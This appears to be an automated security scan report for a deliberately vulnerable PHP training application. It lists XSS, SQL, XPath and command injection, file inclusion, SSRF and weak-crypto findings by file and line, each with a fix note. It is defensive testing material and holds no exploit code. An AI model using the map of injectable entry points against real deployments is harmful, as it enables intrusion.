Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/sqli_blind/home.php:73 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/sqli_blind/home.php:74 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/sqli_blind/home.php:75 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
High rules.sast.php.php-path-traversal-include-taint — Php Path Traversal Include Taint
File: vulnerabilities/ssrf_xspa/home.php:33 | CWE-22, CWE-98
Fix: User-controlled input flows to a file inclusion function (include/require). This enables Local File Inclusion (LFI) or Remote File Inclusion (RFI), allowing attackers to execute arbitrary code. Validate file paths against a whitelist and use basename() to strip directory traversal sequences.
High rules.sast.php.php-ssrf-taint — Php SSRF Taint
File: vulnerabilities/ssrf_xspa/home.php:33 | CWE-918
Fix: User-controlled input flows to an outbound HTTP request without URL validation. This enables Server-Side Request Forgery (SSRF) allowing attackers to probe internal services, read cloud metadata endpoints, or pivot to internal networks. Validate URLs against an allowlist of permitted hosts and schemes.
High rules.sast.php.php-path-traversal-include-taint — Php Path Traversal Include Taint
File: vulnerabilities/ssrf_xspa/home.php:35 | CWE-22, CWE-98
Fix: User-controlled input flows to a file inclusion function (include/require). This enables Local File Inclusion (LFI) or Remote File Inclusion (RFI), allowing attackers to execute arbitrary code. Validate file paths against a whitelist and use basename() to strip directory traversal sequences.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/ssrf_xspa/home.php:36 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/ssti/home.php:51 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/ssti/ssti.php:22 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-sql-injection-taint — Php SQL Injection Taint
File: vulnerabilities/xpath/home.php:10 | CWE-89
Fix: User-controlled input flows to a SQL query without parameterization. Use prepared statements: $stmt = $pdo->prepare("SELECT * FROM t WHERE id = ?"); $stmt->execute([$id]); or mysqli_prepare() + bind_param().
High rules.sast.php.php-xpath-injection-taint — Php Xpath Injection Taint
File: vulnerabilities/xpath/home.php:10 | CWE-643
Fix: User-controlled input flows to an XPath query without sanitization. This enables XPath injection, allowing attackers to modify query logic to bypass authentication or extract XML data. Parameterize XPath queries or validate/escape user input before inclusion in XPath expressions.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/xpath/home.php:35 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/xpath/home.php:49 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/xpath/home.php:50 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Medium rules.sast.php.php-session-fixation — Php Session Fixation
File: login.php:16 | CWE-287, CWE-384
Fix: Session variable is set to mark the user as authenticated, but session_regenerate_id() is not called. This allows session fixation attacks where an attacker pre-sets the session ID and waits for the victim to authenticate. Call session_regenerate_id(true) before setting session authentication variables.
Medium rules.sast.php.php-deprecated-mcrypt — Php Deprecated Mcrypt
File: vulnerabilities/crypto/PasswordHash.php:45 | CWE-327
Fix: mcrypt extension is deprecated (PHP 7.1) and removed (PHP 7.2). The mcrypt library has known vulnerabilities and is unmaintained. Migrate to openssl_encrypt()/openssl_decrypt() with AES-256-GCM.
Medium rules.sast.php.php-deprecated-mcrypt — Php Deprecated Mcrypt
File: vulnerabilities/crypto/home.php:59 | CWE-327
Fix: mcrypt extension is deprecated (PHP 7.1) and removed (PHP 7.2). The mcrypt library has known vulnerabilities and is unmaintained. Migrate to openssl_encrypt()/openssl_decrypt() with AES-256-GCM.
Medium rules.sast.php.php-deprecated-mcrypt — Php Deprecated Mcrypt
File: vulnerabilities/crypto/home.php:62 | CWE-327
Fix: mcrypt extension is deprecated (PHP 7.1) and removed (PHP 7.2). The mcrypt library has known vulnerabilities and is unmaintained. Migrate to openssl_encrypt()/openssl_decrypt() with AES-256-GCM.
Medium rules.sast.php.php-regex-nested-quantifier — Php Regex Nested Quantifier
File: vulnerabilities/dom_xss/home.php:30 | CWE-1333
Fix: Regular expression contains nested quantifiers (e.g., (a+)+, (a*)*, ([0-9]+)+) which cause catastrophic backtracking on non-matching input. An attacker who controls the matched string can craft a payload that hangs the PHP process, causing denial of service. Rewrite the regex to eliminate the outer quantifier on the group or use atomic groups (?>...) to prevent backtracking.
Medium rules.sast.php.php-weak-random-number — Php Weak Random Number
File: vulnerabilities/fileupload/home.php:51 | CWE-330
Fix: Use of a weak pseudo-random number generator (rand() or mt_rand()) for security-sensitive purposes. These functions produce predictable output and are unsuitable for tokens, passwords, nonces, or cryptographic keys. Use random_int() for integers or random_bytes() for raw bytes instead.
Medium rules.sast.php.php-csv-injection-taint — Php Csv Injection Taint
File: vulnerabilities/formula_injection/export.php:13 | CWE-1236
Fix: User-controlled input flows to a CSV write function (fputcsv, fwrite to CSV). If the input starts with =, +, -, or @, spreadsheet applications will interpret it as a formula, enabling CSV injection (formula injection). Sanitize by prepending a single quote or stripping formula-triggering characters: ltrim($input, "=+-@\t\r").
Medium rules.sast.php.php-dangerous-eval — Php Dangerous Eval
File: vulnerabilities/php_object_injection/home.php:32 | CWE-94
Fix: Use of eval() is inherently dangerous and can lead to code injection if any part of the evaluated string is influenced by external data. Avoid eval() entirely; use json_decode(), array functions, or template engines instead.
Medium rules.sast.php.php-open-redirect-taint — Php Open Redirect Taint
File: vulnerabilities/redirect/home.php:31 | CWE-601
Fix: User-controlled input flows to a redirect header without URL validation. This enables open redirect attacks, where attackers craft URLs that redirect users to malicious sites. Validate redirect targets against an allowlist of trusted domains, or restrict to relative paths.
Medium rules.sast.php.php-open-redirect-taint — Php Open Redirect Taint
File: vulnerabilities/redirect/redirect.php:5 | CWE-601
Fix: User-controlled input flows to a redirect header without URL validation. This enables open redirect attacks, where attackers craft URLs that redirect users to malicious sites. Validate redirect targets against an allowlist of trusted domains, or restrict to relative paths.
Medium rules.sast.php.php-session-fixation — Php Session Fixation
File: vulnerabilities/sessionflaws/logout.php:3 | CWE-287, CWE-384
Fix: Session variable is set to mark the user as authenticated, but session_regenerate_id() is not called. This allows session fixation attacks where an attacker pre-sets the session ID and waits for the victim to authenticate. Call session_regenerate_id(true) before setting session authentication variables.
Medium rules.sast.php.php-display-errors-enabled — Php Display Errors Enabled
File: vulnerabilities/sqli/home.php:31 | CWE-209
Fix: display_errors enabled in production. PHP error messages can reveal file paths, database details, and application structure. Set display_errors to Off in production and use error logging instead.
Medium rules.sast.php.php-csrf-direct-post-to-sql — Php CSRF Direct Post To SQL
File: vulnerabilities/sqli/home.php:57 | CWE-352
Fix: User input from $_POST flows to a SQL query without CSRF token validation. State-changing operations triggered by POST data should verify a CSRF token. This may also indicate a SQL injection vulnerability (CWE-89).
Medium rules.sast.php.php-csrf-direct-post-to-sql — Php CSRF Direct Post To SQL
File: vulnerabilities/sqli/home.php:61 | CWE-352
Fix: User input from $_POST flows to a SQL query without CSRF token validation. State-changing operations triggered by POST data should verify a CSRF token. This may also indicate a SQL injection vulnerability (CWE-89).
Medium rules.sast.php.php-csrf-direct-post-to-sql — Php CSRF Direct Post To SQL
File: vulnerabilities/sqli_blind/home.php:55 | CWE-352
Fix: User input from $_POST flows to a SQL query without CSRF token validation. State-changing operations triggered by POST data should verify a CSRF token. This may also indicate a SQL injection vulnerability (CWE-89).
Medium rules.sast.php.php-csrf-direct-post-to-sql — Php CSRF Direct Post To SQL
File: vulnerabilities/sqli_blind/home.php:62 | CWE-352
Fix: User input from $_POST flows to a SQL query without CSRF token validation. State-changing operations triggered by POST data should verify a CSRF token. This may also indicate a SQL injection vulnerability (CWE-89).
Medium rules.sast.php.php-weak-random-number — Php Weak Random Number
File: vulnerabilities/ssrf_xspa/home.php:34 | CWE-330
Fix: Use of a weak pseudo-random number generator (rand() or mt_rand()) for security-sensitive purposes. These functions produce predictable output and are unsuitable for tokens, passwords, nonces, or cryptographic keys. Use random_int() for integers or random_bytes() for raw bytes instead.
Medium rules.sast.php.php-csrf-direct-post-to-sql — Php CSRF Direct Post To SQL
File: vulnerabilities/xpath/home.php:10 | CWE-352
Fix: User input from $_POST flows to a SQL query without CSRF token validation. State-changing operations triggered by POST data should verify a CSRF token. This may also indicate a SQL injection vulnerability (CWE-89).

Secrets Remediation

Medium entropy-detect — Hardcoded Cryptographic Key
File: vulnerabilities/crypto/PasswordHash.php:45
Fix: Investigate this high-entropy string. If it is a secret, rotate it and use a secrets manager.
Medium entropy-detect — Hardcoded Cryptographic Key
File: vulnerabilities/crypto/home.php:58
Fix: Investigate this high-entropy string. If it is a secret, rotate it and use a secrets manager.
Medium entropy-detect — High-Entropy String (Potential Secret)
File: vulnerabilities/crypto/home.php:62
Fix: Investigate this high-entropy string. If it is a secret, rotate it and use a secrets manager.
scan details

Scan Metadata

PropertyValue
Target/home/rohannevrikar/codescan-e2e-20260328-105603/source-xvwa
Languagesjavascript, php
Scanners Runsecrets, iac, sast, native-sast, sbom, sca, license
Duration31.4s
reference

Appendix

Full Finding Inventory

ScannerSeverityRuleFileLineTitleCWE
SASTHighrules.sast.php.php-md5-password-hashlogin.php4Php MD5 Password HashCWE-287, CWE-327
SASTCriticalrules.sast.php.php-command-injection-taintvulnerabilities/cmdi/home.php38Php Command Injection TaintCWE-77, CWE-78
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/cmdi/home.php39Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-command-injection-taintvulnerabilities/cmdi/home.php42Php Command Injection TaintCWE-77, CWE-78
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/cmdi/home.php43Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/crypto/home.php46Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/crypto/home.php71Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/crypto/home.php77Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/crypto/home.php82Php XSS TaintCWE-79
SASTHighrules.sast.php.php-md5-password-hashvulnerabilities/csrf/home.php41Php MD5 Password HashCWE-287, CWE-327
SASTHighrules.sast.php.php-md5-password-hash-directvulnerabilities/csrf/home.php41Php MD5 Password Hash DirectCWE-327, CWE-328
SASTHighrules.sast.php.php-path-traversal-include-taintvulnerabilities/fi/home.php36Php Path Traversal Include TaintCWE-22, CWE-98
SASTHighrules.sast.php.php-unrestricted-file-upload-taintvulnerabilities/fileupload/home.php70Php Unrestricted File Upload TaintCWE-434
SASTCriticalrules.sast.php.php-insecure-deserialization-taintvulnerabilities/php_object_injection/home.php38Php Insecure Deserialization TaintCWE-502
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/php_object_injection/home.php42Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-direct-outputvulnerabilities/reflected_xss/home.php32Php XSS Direct OutputCWE-79
SASTCriticalrules.sast.php.php-sql-injection-taintvulnerabilities/sqli/home.php57Php SQL Injection TaintCWE-89
SASTHighrules.sast.php.php-xpath-injection-taintvulnerabilities/sqli/home.php57Php Xpath Injection TaintCWE-643
SASTCriticalrules.sast.php.php-sql-injection-taintvulnerabilities/sqli/home.php61Php SQL Injection TaintCWE-89
SASTHighrules.sast.php.php-xpath-injection-taintvulnerabilities/sqli/home.php61Php Xpath Injection TaintCWE-643
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/sqli/home.php67Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/sqli/home.php68Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/sqli/home.php69Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/sqli/home.php70Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/sqli/home.php71Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-sql-injection-taintvulnerabilities/sqli_blind/home.php55Php SQL Injection TaintCWE-89
SASTHighrules.sast.php.php-xpath-injection-taintvulnerabilities/sqli_blind/home.php55Php Xpath Injection TaintCWE-643
SASTCriticalrules.sast.php.php-sql-injection-taintvulnerabilities/sqli_blind/home.php62Php SQL Injection TaintCWE-89
SASTHighrules.sast.php.php-xpath-injection-taintvulnerabilities/sqli_blind/home.php62Php Xpath Injection TaintCWE-643
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/sqli_blind/home.php71Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/sqli_blind/home.php72Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/sqli_blind/home.php73Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/sqli_blind/home.php74Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/sqli_blind/home.php75Php XSS TaintCWE-79
SASTHighrules.sast.php.php-path-traversal-include-taintvulnerabilities/ssrf_xspa/home.php33Php Path Traversal Include TaintCWE-22, CWE-98
SASTHighrules.sast.php.php-ssrf-taintvulnerabilities/ssrf_xspa/home.php33Php SSRF TaintCWE-918
SASTHighrules.sast.php.php-path-traversal-include-taintvulnerabilities/ssrf_xspa/home.php35Php Path Traversal Include TaintCWE-22, CWE-98
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/ssrf_xspa/home.php36Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/ssti/home.php51Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/ssti/ssti.php22Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-sql-injection-taintvulnerabilities/xpath/home.php10Php SQL Injection TaintCWE-89
SASTHighrules.sast.php.php-xpath-injection-taintvulnerabilities/xpath/home.php10Php Xpath Injection TaintCWE-643
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/xpath/home.php35Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/xpath/home.php49Php XSS TaintCWE-79
SASTCriticalrules.sast.php.php-xss-taintvulnerabilities/xpath/home.php50Php XSS TaintCWE-79
SASTMediumrules.sast.php.php-session-fixationlogin.php16Php Session FixationCWE-287, CWE-384
SASTMediumrules.sast.php.php-deprecated-mcryptvulnerabilities/crypto/PasswordHash.php45Php Deprecated McryptCWE-327
SASTMediumrules.sast.php.php-deprecated-mcryptvulnerabilities/crypto/home.php59Php Deprecated McryptCWE-327
SASTMediumrules.sast.php.php-deprecated-mcryptvulnerabilities/crypto/home.php62Php Deprecated McryptCWE-327
SASTMediumrules.sast.php.php-regex-nested-quantifiervulnerabilities/dom_xss/home.php30Php Regex Nested QuantifierCWE-1333
SASTMediumrules.sast.php.php-weak-random-numbervulnerabilities/fileupload/home.php51Php Weak Random NumberCWE-330
SASTMediumrules.sast.php.php-csv-injection-taintvulnerabilities/formula_injection/export.php13Php Csv Injection TaintCWE-1236
SASTMediumrules.sast.php.php-dangerous-evalvulnerabilities/php_object_injection/home.php32Php Dangerous EvalCWE-94
SASTMediumrules.sast.php.php-open-redirect-taintvulnerabilities/redirect/home.php31Php Open Redirect TaintCWE-601
SASTMediumrules.sast.php.php-open-redirect-taintvulnerabilities/redirect/redirect.php5Php Open Redirect TaintCWE-601
SASTMediumrules.sast.php.php-session-fixationvulnerabilities/sessionflaws/logout.php3Php Session FixationCWE-287, CWE-384
SASTMediumrules.sast.php.php-display-errors-enabledvulnerabilities/sqli/home.php31Php Display Errors EnabledCWE-209
SASTMediumrules.sast.php.php-csrf-direct-post-to-sqlvulnerabilities/sqli/home.php57Php CSRF Direct Post To SQLCWE-352
SASTMediumrules.sast.php.php-csrf-direct-post-to-sqlvulnerabilities/sqli/home.php61Php CSRF Direct Post To SQLCWE-352
SASTMediumrules.sast.php.php-csrf-direct-post-to-sqlvulnerabilities/sqli_blind/home.php55Php CSRF Direct Post To SQLCWE-352
SASTMediumrules.sast.php.php-csrf-direct-post-to-sqlvulnerabilities/sqli_blind/home.php62Php CSRF Direct Post To SQLCWE-352
SASTMediumrules.sast.php.php-weak-random-numbervulnerabilities/ssrf_xspa/home.php34Php Weak Random NumberCWE-330
SASTMediumrules.sast.php.php-csrf-direct-post-to-sqlvulnerabilities/xpath/home.php10Php CSRF Direct Post To SQLCWE-352
SecretsMediumentropy-detectvulnerabilities/crypto/PasswordHash.php45Hardcoded Cryptographic KeyCWE-321
SecretsMediumentropy-detectvulnerabilities/crypto/home.php58Hardcoded Cryptographic KeyCWE-321
SecretsMediumentropy-detectvulnerabilities/crypto/home.php62High-Entropy String (Potential Secret)CWE-798

Glossary

SAST
Static Application Security Testing — analyzes source code for security vulnerabilities without executing the program.
SCA
Software Composition Analysis — identifies known vulnerabilities in third-party dependencies.
SBOM
Software Bill of Materials — an inventory of all software components and dependencies.
IaC
Infrastructure as Code — configuration files (Terraform, CloudFormation, etc.) that define infrastructure.
CWE
Common Weakness Enumeration — a standardized list of software and hardware weakness types.
OWASP
Open Worldwide Application Security Project — a nonprofit foundation focused on improving software security.
CVSS
Common Vulnerability Scoring System — a framework for rating the severity of security vulnerabilities.
Code Health Rating
A severity-based A–E rating derived from the worst security finding severity.
CycloneDX
A lightweight SBOM standard designed for use in application security contexts.